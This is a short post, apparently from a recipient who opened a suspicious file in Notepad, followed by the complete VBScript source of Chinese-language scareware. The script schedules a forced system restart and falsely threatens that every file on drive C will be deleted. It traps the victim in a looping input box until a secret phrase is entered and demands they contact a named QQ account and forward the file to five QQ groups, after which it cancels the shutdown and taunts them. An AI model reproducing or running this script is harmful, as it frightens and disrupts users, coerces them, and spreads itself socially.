的亏我用记事本打开的 on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 4000 -c ""速度加郑xian生QQ：464221048问他解除方法、在转发五个QQ群、不然你也别想关掉、一小时后C盘全部文件将会被删除，不信你试试···"" ",0 ,true
dim a
do while(a <> "哈哈你个小王八蛋")
a = inputbox ("速度加郑xian生QQ：464221048问他解除方法、在转发五个QQ群、不然你也别想关掉、一小时后C盘全部文件将会被删除，不信你试试"" ","加不加","对不起系统没有检测到你把软件发至五个群",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "多多提示：恭喜你系统已经解除、出品人：郑xian生 QQ:
464221048"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈，郑xian生耍你真过瘾、群雄争霸、郑xian生归来、谁又是下一个主宰"
